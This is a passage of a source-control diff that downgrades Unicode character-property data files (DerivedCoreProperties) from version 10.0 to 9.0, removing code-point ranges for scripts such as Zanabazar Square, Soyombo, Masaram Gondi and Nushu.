GROUP MARK -2E45..2E49 ; 10.0 # [5] INVERTED LOW KAVYKA..DOUBLE STACKED COMMA -312E ; 10.0 # BOPOMOFO LETTER O WITH DOT ABOVE -9FD6..9FEA ; 10.0 # [21] CJK UNIFIED IDEOGRAPH-9FD6..CJK UNIFIED IDEOGRAPH-9FEA -1032D..1032F ; 10.0 # [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE -11A00..11A47 ; 10.0 # [72] ZANABAZAR SQUARE LETTER A..ZANABAZAR SQUARE SUBJOINER -11A50..11A83 ; 10.0 # [52] SOYOMBO LETTER A..SOYOMBO LETTER KSSA -11A86..11A9C ; 10.0 # [23] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2 ; 10.0 # [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 -11D00..11D06 ; 10.0 # [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; 10.0 # [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D36 ; 10.0 # [44] MASARAM GONDI LETTER AU..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; 10.0 # MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; 10.0 # [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D47 ; 10.0 # [9] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI RA-KARA -11D50..11D59 ; 10.0 # [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE -16FE1 ; 10.0 # NUSHU ITERATION MARK -1B002..1B11E ; 10.0 # [285] HENTAIGANA LETTER A-1..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; 10.0 # [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB -1F260..1F265 ; 10.0 # [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI -1F6D3..1F6D4 ; 10.0 # [2] STUPA..PAGODA -1F6F7..1F6F8 ; 10.0 # [2] SLED..FLYING SAUCER -1F900..1F90B ; 10.0 # [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F91F ; 10.0 # I LOVE YOU HAND SIGN -1F928..1F92F ; 10.0 # [8] FACE WITH ONE EYEBROW RAISED..SHOCKED FACE WITH EXPLODING HEAD -1F931..1F932 ; 10.0 # [2] BREAST-FEEDING..PALMS UP TOGETHER -1F94C ; 10.0 # CURLING STONE -1F95F..1F96B ; 10.0 # [13] DUMPLING..CANNED FOOD -1F992..1F997 ; 10.0 # [6] GIRAFFE FACE..CRICKET -1F9D0..1F9E6 ; 10.0 # [23] FACE WITH MONOCLE..SOCKS -2CEB0..2EBE0 ; 10.0 # [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 - -# Total code points: 8518 - # EOF diff --git a/lib/unicore/DCoreProperties.txt b/lib/unicore/DCoreProperties.txt index 16cd9b88bf53..0db031db01ba 100644 --- a/lib/unicore/DCoreProperties.txt +++ b/lib/unicore/DCoreProperties.txt @@ -1,6 +1,6 @@ -# DerivedCoreProperties-10.0.0.txt -# Date: 2017-03-19, 00:05:15 GMT -# © 2017 Unicode®, Inc. +# DerivedCoreProperties-9.0.0.txt +# Date: 2016-06-01, 10:34:24 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -340,7 +340,6 @@ FFE9..FFEC ; Math # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS A 0828 ; Alphabetic # Lm SAMARITAN MODIFIER LETTER I 0829..082C ; Alphabetic # Mn [4] SAMARITAN VOWEL SIGN LONG I..SAMARITAN VOWEL SIGN SUKUN 0840..0858 ; Alphabetic # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0860..086A ; Alphabetic # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; Alphabetic # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; Alphabetic # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08D4..08DF ; Alphabetic # Mn [12] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH WORD WAQFA @@ -380,7 +379,6 @@ FFE9..FFEC ; Math # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS A 09DF..09E1 ; Alphabetic # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL 09E2..09E3 ; Alphabetic # Mn [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL 09F0..09F1 ; Alphabetic # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; Alphabetic # Lo BENGALI LETTER VEDIC ANUSVARA 0A01..0A02 ; Alphabetic # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A03 ; Alphabetic # Mc GURMUKHI SIGN VISARGA 0A05..0A0A ; Alphabetic # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU @@ -418,7 +416,6 @@ FFE9..FFEC ; Math # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS A 0AE0..0AE1 ; Alphabetic # Lo [2] GUJARATI LETTER VOCALIC RR..GUJARATI LETTER VOCALIC LL 0AE2..0AE3 ; Alphabetic # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL 0AF9 ; Alphabetic # Lo GUJARATI LETTER ZHA -0AFA..0AFC ; Alphabetic # Mn [3] GUJARATI SIGN SUKUN..GUJARATI SIGN MADDAH 0B01 ; Alphabetic # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; Alphabetic # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B05..0B0C ; Alphabetic # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L @@ -494,7 +491,7 @@ FFE9..FFEC ; Math # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS A 0CE0..0CE1 ; Alphabetic # Lo [2] KANNADA LETTER VOCALIC RR..KANNADA LETTER VOCALIC LL 0CE2..0CE3 ; Alphabetic # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL 0CF1..0CF2 ; Alphabetic # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01 ; Alphabetic # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; Alphabetic # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; Alphabetic # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C ; Alphabetic # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10 ; Alphabetic # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI @@ -795,12 +792,12 @@ FFE9..FFEC ; Math # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS A 30A1..30FA ; Alphabetic # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; Alphabetic # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; Alphabetic # Lo KATAKANA DIGRAPH KOTO -3105..312E ; Alphabetic # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; Alphabetic # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; Alphabetic # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; Alphabetic # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; Alphabetic # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; Alphabetic # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; Alphabetic # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; Alphabetic # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; Alphabetic # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; Alphabetic # Lm YI SYLLABLE WU A016..A48C ; Alphabetic # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -958,7 +955,7 @@ FFDA..FFDC ; Alphabetic # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANG 10280..1029C ; Alphabetic # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X 102A0..102D0 ; Alphabetic # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; Alphabetic # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; Alphabetic # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; Alphabetic # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; Alphabetic # Nl GOTHIC LETTER NINETY 10342..10349 ; Alphabetic # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; Alphabetic # Nl GOTHIC LETTER NINE HUNDRED @@ -1118,23 +1115,6 @@ FFDA..FFDC ; Alphabetic # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANG 11727..1172A ; Alphabetic # Mn [4] AHOM VOWEL SIGN AW..AHOM VOWEL SIGN AM 118A0..118DF ; Alphabetic # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118FF ; Alphabetic # Lo WARANG CITI OM -11A00 ; Alphabetic # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; Alphabetic # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; Alphabetic # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; Alphabetic # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; Alphabetic # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A35..11A38 ; Alphabetic # Mn [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; Alphabetic # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; Alphabetic # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; Alphabetic # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A50 ; Alphabetic # Lo SOYOMBO LETTER A -11A51..11A56 ; Alphabetic # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; Alphabetic # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; Alphabetic # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; Alphabetic # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; Alphabetic # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; Alphabetic # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; Alphabetic # Mc SOYOMBO SIGN VISARGA 11AC0..11AF8 ; Alphabetic # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; Alphabetic # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; Alphabetic # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -1151,16 +1131,6 @@ FFDA..FFDC ; Alphabetic # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANG 11CB2..11CB3 ; Alphabetic # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; Alphabetic # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; Alphabetic # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06 ; Alphabetic # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; Alphabetic # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; Alphabetic # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; Alphabetic # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Alphabetic # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Alphabetic # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D41 ; Alphabetic # Mn [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA -11D43 ; Alphabetic # Mn MASARAM GONDI SIGN CANDRA -11D46 ; Alphabetic # Lo MASARAM GONDI REPHA -11D47 ; Alphabetic # Mn MASARAM GONDI RA-KARA 12000..12399 ; Alphabetic # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; Alphabetic # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; Alphabetic # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -1178,11 +1148,10 @@ FFDA..FFDC ; Alphabetic # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANG 16F50 ; Alphabetic # Lo MIAO LETTER NASALIZATION 16F51..16F7E ; Alphabetic # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F93..16F9F ; Alphabetic # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; Alphabetic # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; Alphabetic # Lm TANGUT ITERATION MARK 17000..187EC ; Alphabetic # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; Alphabetic # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; Alphabetic # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; Alphabetic # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; Alphabetic # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; Alphabetic # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; Alphabetic # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; Alphabetic # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -1266,10 +1235,9 @@ FFDA..FFDC ; Alphabetic # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANG 2A700..2B734 ; Alphabetic # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; Alphabetic # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; Alphabetic # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; Alphabetic # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; Alphabetic # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -# Total code points: 126629 +# Total code points: 118240 # ================================================ @@ -2830,7 +2798,6 @@ FF41..FF5A ; Cased # L& [26] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH LATIN 0AC7..0AC8 ; Case_Ignorable # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI 0ACD ; Case_Ignorable # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; Case_Ignorable # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; Case_Ignorable # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; Case_Ignorable # Mn ORIYA SIGN CANDRABINDU 0B3C ; Case_Ignorable # Mn ORIYA SIGN NUKTA 0B3F ; Case_Ignorable # Mn ORIYA VOWEL SIGN I @@ -2853,8 +2820,7 @@ FF41..FF5A ; Cased # L& [26] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH LATIN 0CC6 ; Case_Ignorable # Mn KANNADA VOWEL SIGN E 0CCC..0CCD ; Case_Ignorable # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CE2..0CE3 ; Case_Ignorable # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; Case_Ignorable # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D3B..0D3C ; Case_Ignorable # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA +0D01 ; Case_Ignorable # Mn MALAYALAM SIGN CANDRABINDU 0D41..0D44 ; Case_Ignorable # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D4D ; Case_Ignorable # Mn MALAYALAM SIGN VIRAMA 0D62..0D63 ; Case_Ignorable # Mn [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL @@ -2950,7 +2916,7 @@ FF41..FF5A ; Cased # L& [26] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH LATIN 1D2C..1D6A ; Case_Ignorable # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI 1D78 ; Case_Ignorable # Lm MODIFIER LETTER CYRILLIC EN 1D9B..1DBF ; Case_Ignorable # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA -1DC0..1DF9 ; Case_Ignorable # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; Case_Ignorable # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; Case_Ignorable # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 1FBD ; Case_Ignorable # Sk GREEK KORONIS 1FBF..1FC1 ; Case_Ignorable # Sk [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI @@ -3112,15 +3078,6 @@ FFF9..FFFB ; Case_Ignorable # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLI 1171D..1171F ; Case_Ignorable # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA 11722..11725 ; Case_Ignorable # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11727..1172B ; Case_Ignorable # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; Case_Ignorable # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A09..11A0A ; Case_Ignorable # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; Case_Ignorable # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A3B..11A3E ; Case_Ignorable # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; Case_Ignorable # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; Case_Ignorable # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A59..11A5B ; Case_Ignorable # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; Case_Ignorable # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A98..11A99 ; Case_Ignorable # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C30..11C36 ; Case_Ignorable # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; Case_Ignorable # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA 11C3F ; Case_Ignorable # Mn BHAIKSUKI SIGN VIRAMA @@ -3128,17 +3085,12 @@ FFF9..FFFB ; Case_Ignorable # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLI 11CAA..11CB0 ; Case_Ignorable # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA 11CB2..11CB3 ; Case_Ignorable # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB5..11CB6 ; Case_Ignorable # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; Case_Ignorable # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Case_Ignorable # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Case_Ignorable # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; Case_Ignorable # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; Case_Ignorable # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; Case_Ignorable # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; Case_Ignorable # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16B40..16B43 ; Case_Ignorable # Lm [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM 16F8F..16F92 ; Case_Ignorable # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F ; Case_Ignorable # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; Case_Ignorable # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; Case_Ignorable # Lm TANGUT ITERATION MARK 1BC9D..1BC9E ; Case_Ignorable # Mn [2] DUPLOYAN THICK LETTER SELECTOR..DUPLOYAN DOUBLE MARK 1BCA0..1BCA3 ; Case_Ignorable # Cf [4] SHORTHAND FORMAT LETTER OVERLAP..SHORTHAND FORMAT UP STEP 1D167..1D169 ; Case_Ignorable # Mn [3] MUSICAL SYMBOL COMBINING TREMOLO-1..MUSICAL SYMBOL COMBINING TREMOLO-3 @@ -3165,7 +3117,7 @@ E0001 ; Case_Ignorable # Cf LANGUAGE TAG E0020..E007F ; Case_Ignorable # Cf [96] TAG SPACE..CANCEL TAG E0100..E01EF ; Case_Ignorable # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 2314 +# Total code points: 2240 # ================================================ @@ -5811,7 +5763,6 @@ FF41..FF5A ; Changes_When_Casemapped # L& [26] FULLWIDTH LATIN SMALL LETTER 0824 ; ID_Start # Lm SAMARITAN MODIFIER LETTER SHORT A 0828 ; ID_Start # Lm SAMARITAN MODIFIER LETTER I 0840..0858 ; ID_Start # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0860..086A ; ID_Start # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; ID_Start # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; ID_Start # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 0904..0939 ; ID_Start # Lo [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA @@ -5831,7 +5782,6 @@ FF41..FF5A ; Changes_When_Casemapped # L& [26] FULLWIDTH LATIN SMALL LETTER 09DC..09DD ; ID_Start # Lo [2] BENGALI LETTER RRA..BENGALI LETTER RHA 09DF..09E1 ; ID_Start # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL 09F0..09F1 ; ID_Start # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; ID_Start # Lo BENGALI LETTER VEDIC ANUSVARA 0A05..0A0A ; ID_Start # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; ID_Start # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI 0A13..0A28 ; ID_Start # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA @@ -6089,12 +6039,12 @@ FF41..FF5A ; Changes_When_Casemapped # L& [26] FULLWIDTH LATIN SMALL LETTER 30A1..30FA ; ID_Start # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; ID_Start # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; ID_Start # Lo KATAKANA DIGRAPH KOTO -3105..312E ; ID_Start # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; ID_Start # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; ID_Start # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; ID_Start # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; ID_Start # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; ID_Start # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; ID_Start # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; ID_Start # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; ID_Start # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; ID_Start # Lm YI SYLLABLE WU A016..A48C ; ID_Start # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -6212,7 +6162,7 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 10280..1029C ; ID_Start # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X 102A0..102D0 ; ID_Start # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; ID_Start # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; ID_Start # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; ID_Start # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; ID_Start # Nl GOTHIC LETTER NINETY 10342..10349 ; ID_Start # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; ID_Start # Nl GOTHIC LETTER NINE HUNDRED @@ -6299,21 +6249,11 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 11700..11719 ; ID_Start # Lo [26] AHOM LETTER KA..AHOM LETTER JHA 118A0..118DF ; ID_Start # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118FF ; ID_Start # Lo WARANG CITI OM -11A00 ; ID_Start # Lo ZANABAZAR SQUARE LETTER A -11A0B..11A32 ; ID_Start # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER 